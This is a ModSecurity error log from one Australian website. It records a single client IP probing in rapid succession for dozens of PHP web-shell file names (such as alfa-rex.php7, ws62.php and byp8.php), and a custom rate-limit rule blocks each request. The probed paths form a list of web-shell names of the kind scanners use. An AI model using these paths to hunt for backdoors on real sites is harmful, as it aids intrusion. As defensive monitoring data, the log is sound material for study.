[Sun Mar 01 15:58:58.640950 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18004] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaPxwvKRPk6YnJBxw_xdhAAAAMw"]
[Sun Mar 01 15:58:59.071655 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:18115] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaPxw_KRPk6YnJBxw_xdhgAAAM4"]
[Sun Mar 01 15:58:59.481996 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18291] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaPxw_KRPk6YnJBxw_xdiQAAANc"]
[Sun Mar 01 15:58:59.893446 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18114] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaPxw_KRPk6YnJBxw_xdigAAAMw"]
[Sun Mar 01 15:59:00.305309 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18174] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaPxxPKRPk6YnJBxw_xdiwAAAMo"]
[Sun Mar 01 15:59:00.722827 2026] [:error] [pid 44644:tid 44652] [client 4.204.200.32:18142] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws62.php"] [unique_id "aaPxxJ3RJaXMcw3y9V-z0gAAAAU"]
[Sun Mar 01 15:59:01.143566 2026] [:error] [pid 37032:tid 37057] [client 4.204.200.32:18205] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaPxxeu0U4o7eSImsVRPewAAAZc"]
[Sun Mar 01 15:59:01.576042 2026] [:error] [pid 38034:tid 38040] [client 4.204.200.32:18133] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaPxxQxtfZjwlJok9K_LbAAAAQQ"]
[Sun Mar 01 15:59:01.995017 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:18157] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaPxxQxtfZjwlJok9K_LcAAAAQ0"]
[Sun Mar 01 15:59:02.413589 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18066] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaPxxvKRPk6YnJBxw_xdjwAAAMA"]
[Sun Mar 01 15:59:02.830393 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18175] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaPxxvKRPk6YnJBxw_xdkQAAAMg"]
[Sun Mar 01 15:59:03.244075 2026] [:error] [pid 44644:tid 44660] [client 4.204.200.32:18126] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaPxx53RJaXMcw3y9V-z1wAAAA0"]
[Sun Mar 01 15:59:03.654066 2026] [:error] [pid 42619:tid 42628] [client 4.204.200.32:18348] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaPxxx_zUXcYaZE4AOeWngAAAUc"]
[Sun Mar 01 15:59:11.587455 2026] [:error] [pid 42619:tid 42632] [client 4.204.200.32:18208] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vgtyu.php"] [unique_id "aaPxzx_zUXcYaZE4AOeWrAAAAUs"]
[Sun Mar 01 15:59:13.174254 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18146] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vgtyu.php"] [unique_id "aaPx0fKRPk6YnJBxw_xdxwAAAMk"]
[Sun Mar 01 15:59:14.196493 2026] [:error] [pid 38034:tid 38049] [client 4.204.200.32:18152] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vgtyu.php"] [unique_id "aaPx0gxtfZjwlJok9K_LhAAAAQs"]
[Sun Mar 01 15:59:15.198003 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18077] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vgtyu.php"] [unique_id "aaPx0_KRPk6YnJBxw_xd0gAAAMo"]
[Sun Mar 01 15:59:15.619876 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18125] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaPx0_KRPk6YnJBxw_xd1gAAAME"]
[Sun Mar 01 15:59:16.036977 2026] [:error] [pid 42619:tid 42626] [client 4.204.200.32:18182] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaPx1B_zUXcYaZE4AOeWrgAAAUU"]
[Sun Mar 01 15:59:16.511515 2026] [:error] [pid 42619:tid 42644] [client 4.204.200.32:18158] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaPx1B_zUXcYaZE4AOeWrwAAAVc"]
[Sun Mar 01 15:59:16.930158 2026] [:error] [pid 44644:tid 44664] [client 4.204.200.32:18184] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aaPx1J3RJaXMcw3y9V-z6wAAABE"]
[Sun Mar 01 15:59:17.349086 2026] [:error] [pid 44644:tid 44660] [client 4.204.200.32:18213] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaPx1Z3RJaXMcw3y9V-z7QAAAA0"]
[Sun Mar 01 15:59:17.765883 2026] [:error] [pid 44644:tid 44656] [client 4.204.200.32:18167] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaPx1Z3RJaXMcw3y9V-z7gAAAAk"]
[Sun Mar 01 15:59:18.182213 2026] [:error] [pid 44644:tid 44667] [client 4.204.200.32:18216] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaPx1p3RJaXMcw3y9V-z8gAAABQ"]
[Sun Mar 01 15:59:18.599590 2026] [:error] [pid 7165:tid 7182] [client 4.204.200.32:18079] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaPx1hRjCrA8qWBjgG82HQAAAk8"]
[Sun Mar 01 15:59:19.012428 2026] [:error] [pid 41967:tid 41985] [client 4.204.200.32:18127] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaPx14O1bqY181I02eGSDAAAAJA"]
[Sun Mar 01 15:59:19.425592 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18173] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaPx1_KRPk6YnJBxw_xd4wAAAMo"]
[Sun Mar 01 15:59:19.870164 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18190] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaPx1_KRPk6YnJBxw_xd5wAAAMA"]
[Sun Mar 01 15:59:20.283258 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18225] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c4.php"] [unique_id "aaPx2PKRPk6YnJBxw_xd7AAAAMk"]
[Sun Mar 01 15:59:20.701238 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:18055] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aaPx2PKRPk6YnJBxw_xd7QAAAMA"]
[Sun Mar 01 15:59:21.123234 2026] [:error] [pid 41967:tid 41989] [client 4.204.200.32:18138] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aaPx2YO1bqY181I02eGSDgAAAJQ"]
[Sun Mar 01 15:59:21.548672 2026] [:error] [pid 38034:tid 38061] [client 4.204.200.32:18100] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aaPx2QxtfZjwlJok9K_LhwAAARc"]
[Sun Mar 01 15:59:21.960489 2026] [:error] [pid 44644:tid 44656] [client 4.204.200.32:18143] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aaPx2Z3RJaXMcw3y9V-z-AAAAAk"]
[Sun Mar 01 15:59:22.374516 2026] [:error] [pid 38241:tid 38251] [client 4.204.200.32:18148] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fasx.php"] [unique_id "aaPx2vKRPk6YnJBxw_xd9gAAAMc"]
[Sun Mar 01 15:59:22.792554 2026] [:error] [pid 41342:tid 41362] [client 4.204.200.32:18102] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fasx.php"] [unique_id "aaPx2o4iJ6RAS5CatDlLEAAAAhE"]
[Sun Mar 01 15:59:23.212859 2026] [:error] [pid 38034:tid 38040] [client 4.204.200.32:18234] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fasx.php"] [unique_id "aaPx2wxtfZjwlJok9K_LigAAAQQ"]
[Sun Mar 01 15:59:23.628713 2026] [:error] [pid 38034:tid 38060] [client 4.204.200.32:18300] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fasx.php"] [unique_id "aaPx2wxtfZjwlJok9K_LiwAAARY"]
[Sun Mar 01 15:59:24.047557 2026] [:error] [pid 37032:tid 37034] [client 4.204.200.32:18163] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaPx3Ou0U4o7eSImsVRPggAAAYA"]
[Sun Mar 01 15:59:24.473341 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18056] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaPx3PKRPk6YnJBxw_xd_wAAAME"]
[Sun Mar 01 15:59:24.887527 2026] [:error] [pid 7133:tid 7137] [client 4.204.200.32:18117] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaPx3PCtubh8pR64qB_KFAAAAEI"]
[Sun Mar 01 15:59:25.296240 2026] [:error] [pid 41967:tid 41976] [client 4.204.200.32:18400] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opts.php"] [unique_id "aaPx3YO1bqY181I02eGSEQAAAIc"]
[Sun Mar 01 15:59:25.710320 2026] [:error] [pid 38034:tid 38049] [client 4.204.200.32:18166] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nzv.php"] [unique_id "aaPx3QxtfZjwlJok9K_LkQAAAQs"]
[Sun Mar 01 15:59:26.181587 2026] [:error] [pid 7165:tid 7183] [client 4.204.200.32:18139] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nzv.php"] [unique_id "aaPx3hRjCrA8qWBjgG82KgAAAlA"]
[Sun Mar 01 15:59:26.598345 2026] [:error] [pid 44644:tid 44669] [client 4.204.200.32:18171] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nzv.php"] [unique_id "aaPx3p3RJaXMcw3y9V-z-gAAABY"]
[Sun Mar 01 15:59:27.017322 2026] [:error] [pid 7133:tid 7149] [client 4.204.200.32:18109] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nzv.php"] [unique_id "aaPx3_Ctubh8pR64qB_KFgAAAE4"]
[Sun Mar 01 15:59:27.436558 2026] [:error] [pid 7165:tid 7171] [client 4.204.200.32:18144] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaPx3xRjCrA8qWBjgG82LAAAAkQ"]
[Sun Mar 01 15:59:27.849748 2026] [:error] [pid 44644:tid 44652] [client 4.204.200.32:18149] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaPx353RJaXMcw3y9V-z_AAAAAU"]
[Sun Mar 01 15:59:28.264231 2026] [:error] [pid 41967:tid 41977] [client 4.204.200.32:18164] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaPx4IO1bqY181I02eGSEwAAAIg"]
[Sun Mar 01 15:59:28.683688 2026] [:error] [pid 38241:tid 38244] [client 4.204.200.32:17990] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaPx4PKRPk6YnJBxw_xeCAAAAMA"]
[Sun Mar 01 15:59:29.101128 2026] [:error] [pid 44644:tid 44661] [client 4.204.200.32:18075] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaPx4Z3RJaXMcw3y9V-z_QAAAA4"]
[Sun Mar 01 15:59:29.520158 2026] [:error] [pid 7133:tid 7157] [client 4.204.200.32:18416] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaPx4fCtubh8pR64qB_KGwAAAFY"]
[Sun Mar 01 15:59:29.939815 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18076] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaPx4fKRPk6YnJBxw_xeGgAAAMk"]
[Sun Mar 01 15:59:30.357995 2026] [:error] [pid 38034:tid 38050] [client 4.204.200.32:18001] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaPx4gxtfZjwlJok9K_LtAAAAQw"]
[Sun Mar 01 15:59:30.792245 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18057] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhr.php"] [unique_id "aaPx4vKRPk6YnJBxw_xeHwAAAMk"]
[Sun Mar 01 15:59:31.205375 2026] [:error] [pid 7165:tid 7190] [client 4.204.200.32:18220] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhr.php"] [unique_id "aaPx4xRjCrA8qWBjgG82MAAAAlc"]
[Sun Mar 01 15:59:31.617901 2026] [:error] [pid 38034:tid 38061] [client 4.204.200.32:18349] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nhr.php"] [unique_id "aaPx4wxtfZjwlJok9K_LxQAAARc"]
